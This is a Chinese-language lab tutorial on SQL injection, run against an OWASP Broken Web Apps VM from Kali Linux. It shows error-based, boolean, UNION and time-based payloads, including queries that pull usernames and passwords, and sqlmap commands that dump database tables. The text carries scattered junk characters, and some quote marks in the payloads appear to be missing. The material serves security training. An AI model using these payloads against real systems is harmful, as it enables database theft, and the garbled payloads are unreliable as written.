|
3 L6 @$ D1 l4 @+ W1 X 在owasp年度top 10 安全问题中,注入高居榜首SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序, 而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地 过滤用户输入的数据,致使非法数据侵入系统。
' O4 C2 `4 g3 W' E- L 对于Web应用程序而言,用户核心数据存储在数据库中,例如MySQL、SQL Server、Oracle; 通过SQL注入攻击,可以获取、修改、删除数据库信息,并且通过提权来控制Web服务器等其他操作;
, G$ F0 v# o* j; ?9 b4 W SQL注入即攻击者通过构造特殊的SQL语句,入侵目标系统,致使后台数据库泄露数据的过程; 因为SQL注入漏洞造成的严重危害性,所以常年稳居OWASP TOP10的榜首!1.实验说明2 D3 Q0 [. x. w6 T* z, U
目标靶机:OWASP_Broken_Web_Apps_VM_1.2
) z* _6 g$ L# h
. N" u; }- V& u5 s" |- S- R# p 下载地址
( e e; f; [, r+ |! o6 Q 测试渗透机:Kali-Linux-2018.2-vm-amd64
$ c) O; [ T" U# y0 Y& U6 | 下载地址1.SQL注入的危害$ M( n+ V% Q. O N5 m
1、拖库导致用户数据泄漏;
3 B4 A8 p$ W' }/ G3 \1 P9 j* O 2、危害web等应用的安全;4 \' M- D$ a6 n+ c4 [7 ]
3、失去操作系统的控制权;
0 O+ c) I6 o& E2 x# K( h. m: c 4、用户信息被非法买卖;
1 I4 z9 j2 s( Y) l 5、危害企业及国家的安全!
* l6 `+ ]+ G# n4 K 2.注入流程
0 Y* d2 {3 s/ J' V# g 1. 判断是否有SQL注入漏洞;
% D; T& T; d5 y. E" n! o 2. 判断操作系统、数据库和web应用的类型;" ^& Q2 n5 B5 M5 z! \- Y; d$ u
3. 获取数据库信息,包括管理员信息及拖库;4 U, e9 ~- D+ o6 F$ @
4. 加密信息破解,sqlmap可自动破解;5 Q0 D* D# j# o5 @; R% [$ Y3 x
5. 提升权限,获得sql-shell、os-shell、登录应用后台;
0 ] }! N* t' X- F* _0 \/ ? 2.手动注入实战* K/ @( g3 V% m/ u/ [
1.基于错误的注入* J! Z, q3 I' _6 C1 Q
错误注入的思路是通过构造特殊的sql语句,根据得到的错误信息,确认sql注入点; 通过数据库报错信息,也可以探测到数据库的类型和其他有用信息
, t5 L! [' l* {, d& b 通过输入单引号,触发数据库异常,通过异常日志诊断数据库类型,例如这里是MySQL数据库。 
# D6 r, s: r, x q SQL注入语句解析:- V m* F8 g( C% f
mysql> select first_name,last_name from dvwa.users;- m. `# _8 j' J6 e; e5 |/ p4 w! y
mysql> select first_name,last_name from dvwa.users where user_id=1;; a0 `. F, {" K; `5 J( u8 G
#你输入1 相当于在最后的两个单引号中间插入一个1来执行mysql的查询语句 ; h5 B& n) ]1 }+ \3 m2 ~$ y& h3 L9 W3 ]. L
怎么样判断我们是否可以注入呢?9 H" X" Z" N s U
V& N3 J9 h. A6 T; _9 }2 ~: ~ : [; X4 t6 f7 k8 |
会发生页面报错# Q) k9 I, t# s6 t- l3 ^; p
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near at line 1 % z! j3 d' r6 u0 z/ O# i( G
SQL注入语句解析:
! H6 j' r0 G; @& ?* X0 _; e$ _. h mysql> select first_name,last_name from dvwa.users where user_id=这就代表此网站我们可以注入,有注入点* d3 c' P I0 E, ?# r7 w; M
2.基于布尔的注入
: \3 X# Z9 I: r0 m1 |) [, W* D 。
9 N* {" @( s* Q2 @: F4 |2 h$ R 这里面用到的是or,布尔逻辑注入的思路是闭合SQL语句,构造or逻辑语句、注释多余的代码
9 E* v6 j4 B2 `6 k4 v" n5 g ; z' p7 A: b; _ ?
注入语句: or 1=1 --
, g2 p" V" A( z+ z 原始语句:7 c' E4 z3 V. Z2 `$ r8 g) D; }
mysql> select first_name,last_name from dvwa.users where user_id= r) l! U9 L( h7 f) n! i2 D+ }) t
SQL注入语句解析: or 1=1 --
% Z \, w4 M6 o5 y( p4 K( V mysql> select first_name,last_name from dvwa.users where user_id= or 1=1 --
/ d/ f) F5 S R* T z0 f9 c 说明:" P" x0 H: x1 T9 b) w$ G
第一个 用于闭合前面的条件6 Y; h0 w$ g# o+ t
or 1=1 为真的条件, |) n( f: b/ N+ J* f' r) H# l
-- 将注释后面的所有语句) D+ ~6 r6 b/ e3 d! W! f3 [' J
仔细看where user_id= or 1=1 -- 这个条件语句* t h+ n3 x- ^
user_id= 这个语句肯定是假的,因为我们的ID是阿拉伯数字,而这里面是空,所以为假! W. [% S- }7 O8 T2 p
但是1=1 这个语句肯定为真 -- 是注释的意思,也就说后面的不用管
2 e6 P3 j. ?: N! R" j1 T% M or 表示有一个条件为真就是真' ~, [6 ] n( g! a
那总得来说这个where语句一定为真* o6 p! {( h# ^
整个语句的意思是从dvwa库的users表里面查询first_name,last_name两个字段的所有内容
8 L4 I. b( b2 \4 D3 b 3.基于UNION注入5 k0 P. r1 l5 Z) c) \4 R/ p: p
UNION语句用于联合前面的SELECT查询语句,合并查询更多信息;. S! ~* H4 Y9 T
一般通过错误和布尔注入确认注入点之后,便开始通过union语句来获取有效信息, f, |+ X$ }7 J6 i
//猜测数据列数 |: X( C7 V0 M+ E: S$ M; W
union select 1 --
. t2 R6 b' F% k6 ^! A union select 1,2 --
& Z* ^2 ?* S' m6 T4 |* Y union select 1,2,3 --
# H& |: F& s7 Y5 P" U& A' R+ b+ k9 ` union select 1,2,3,4 --, |) C# f: G% g" `+ s# V1 N5 Z
SQL注入语句解析:
* @) z! Q9 O5 v6 o mysql> select first_name,last_name from dvwa.users where user_id= union select 1 --+ N0 ?0 X4 b5 o+ v3 N' E
mysql> select first_name,last_name from dvwa.users where user_id= union select 1,2 --- V" _5 _! A+ [6 z6 j$ K7 i# j
, ]7 l( ]: K0 c. ?. V9 ?
//union是我们注入常用的方式,里面的1,2,3 代表的是字段名,union语句查询的时候,前后的
" n1 ~+ h4 ~$ Q. I 字段数量必须相同,所以我们可以用数字代表字段,来猜测union之前的语句中有几个字段。 7 F% y! q3 R/ l( u' S; v
这里' L5 x6 @! ^0 `2 D6 Y9 ] H# d R
显然只有两个字段   # v1 X9 f* q) U
你查询的不一定非要是字段,也可以是版本,表之类的7 \& n6 N9 M; \7 |( x8 Z; m( k" @
//获得当前数据库及用户信息
: E W/ Q' p+ C6 L- N! [. n+ J union select version(), database() --4 ]- Q7 C3 j* B! C. p
union select user(), database() --
$ E+ @# Z1 `9 u0 h+ A //查询所有库名
- q1 k/ d3 p' I; Y union select TABLE_SCHEMA, 1 from INFORMATION_SCHEMA.tables --
% K/ r" s2 C6 O- y# |' f1 y #这里面的1 只是一个列的代替,没有什么含义,但是如果你缺了这个1 前后列数量不一样会报错的' q3 S! B0 E4 o q4 z
//查看所库中所有表名' i/ C B! `% V7 k1 J8 ?7 l
union select table_name, 1 from INFORMATION_SCHEMA.tables --: E7 _8 J! i2 T( {+ s4 f
//同时查询表名及对应库名, b- C1 y0 A3 n T
union select TABLE_SCHEMA, table_name from INFORMATION_SCHEMA.tables --" f8 d3 }( [" {
//查询数据列: [1 I) z% d8 T9 F, G! z
union select NULL, user from users -- union select NULL, password from users --
& ~) B; o$ ^! `! ` union select user, password from users -- union select NULL, GRANTEE from USER_PRIVILEGES --
5 ~4 p3 M! a5 S, P 因为union前面只有两个字段,那我们想要查询多个字段怎么办?* a; Q/ z" f" {+ e/ n; d5 R
用mysql自带的函数concat(),如
; o2 [- M" X* J/ H \, s- m! K union select password, concat(first_name, ,last_name, ,user) from users --. y8 A: p9 w, K
4 `1 ~9 w0 f0 p: P2 ~( u
+ [1 j$ u8 Q `& V: f5 q3 H
4.基于时间的盲注
3 C* K# ^, [! g R) J3 l4 f 有些数据库对错误信息做了安全配置,使得无法通过以上方式探测到注入点,此时,通过设置sleep语句来探测注入点1 and sleep(5) --- m. I D8 e- U9 W! @
SQL注入语句解析:
5 U* |5 c7 q1 w mysql> select first_name,last_name from dvwa.users where user_id=1 and sleep(5) -- 。
! c& F. D+ l* \% o6 K2 G k 3.sqlmap自动化注入SQL注入比较好用的工具,首推开源工具SQLmapSQLmap是一个国内外著名的安全稳定性测试工具,可以用来进行自动 化检测,利用SQL注入漏洞,获取数据库服务器的权限它具有功能强大的检测引擎,针对各种不同类型数据库的安全稳 定性测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系 统命令。
! F5 g _6 k) s SQLmap支持MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB等数据库的各种安全漏洞检测。 & Y2 o! x4 B/ k- V3 _) k$ z: W8 t
4 S: z4 s7 v( }' d 1.GET方法注入
; V# M5 f1 y( E7 S2 W 打开kali,用户名root 密码toor# K" b2 `2 P) {' Q6 S+ l/ K
1 @7 Z* f! D) d8 v
/ _1 y( \# p+ X& N. ]* `& a 查看帮助我们发现我们需要获取到网页的url
/ o$ R" a; Q5 N" D. i% S; [. E3 X: K   7 @. X( Z9 j; ` u# W3 u7 S
0 S0 Q, D+ {9 K& r' _$ I" }4 u 然后我们把该网页的连接复制下来在kali里面进行测试root@kali:~# sqlmap -u "http://192.168.13.144/mutillidae/index.php?page=user-info.php&username=yjssjm&password=123&user-info-php-submit-button=View+Account+Details"  " s6 l; }$ W- `2 k
sqlmap参数解析:5 P, H6 ?, ^; k8 N. z% X
--users #所有用户
% r: \6 r) D* J --current-user #当前用户) ^9 s6 S; p. O
--dbs #所有库4 L, n) S$ L2 J0 n2 A9 I! o
--current-db #当前库
X! [/ G8 l6 Z' l -D "database_name" --tables #指定库名
8 A! D. F" H* O+ U8 d6 O- o& S -D "database_name" -T "table_name" --columns #指定库名和表名( r' q& b. j6 p
--dump-all #所有的内容* x6 D6 |) y- [1 l1 A
--dump-all --exclude-sysdbs
7 e' ?2 q0 H% n, c+ b -D "database_name" -T "table_name" --dump
# f# g3 @. Q+ v- G+ N -D "database_name" -T "table_name" -C "username, password" --dump F9 i9 g% ^9 o0 V6 M0 e
#-C 指定字段
- X! D8 Y# ?& e- c) M2 [6 w. C3 y --batch //自动化完成+ O; o2 h( V* R2 T* N# t
示例步骤:* H4 Z5 a" C& @' f
1. 获得当前数据库; L- \) h% Y- v- u
root@kali:~# sqlmap -u "你自己的url" --batch --current-db
) z9 W. _# f% h; h6 i 2. 获得数据库表$ K1 W* H0 ~3 H' ?
root@kali:~# sqlmap -u "你自己的url" --batch -D nowasp --tables
) B8 B6 [! s. T* Q5 t0 N& Z) @% ~ 3. 获得表的字段
L$ S4 ? @1 v! W3 ~: B root@kali:~# sqlmap -u "你自己的url" --batch -D nowasp -T accounts --columns+ V$ ?: y+ U, `
4. 获得表中的数据3 n5 s7 T. s2 ^7 w) N; Q5 N' Z
root@kali:~# sqlmap -u "你自己的url" --batch -D nowasp -T accounts -C "username, password" --dump
$ }5 z0 O! @" C, h9 z5 ~# L 4 c( o: Q* ~- ^& i
2.POST方法注入3 ~8 [& B( {& k$ @6 W* |; V ]9 T5 L
需要带cookie才能访问的注入页面,--cookie=""
1 B1 F) [4 K; S# q. ` 
! l! L* Q1 l( | root@kali:~# sqlmap -u "http://192.168.13.144/dvwa/vulnerabilities/sqli/?id=&Submit=Submit#" --cookie="security=low; PHPSESSID=ehqbg9j6di70nk4ku6fm187co1; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada" --batch
" ]( }' W+ b, d
8 I8 ~1 g/ C7 S3 m+ o* E3 [ 参数跟get获取的参数一样,就是post需要用url+cookie你们的评论和点赞是我写文章的最大动力,蟹蟹。 0 n& N% _( h) z
2 C& E C o' _; _+ x
" P# {; f3 R; {" l6 T4 S8 x( ~ E1 T* g0 |
/ E* X# @- \" ~' D) R |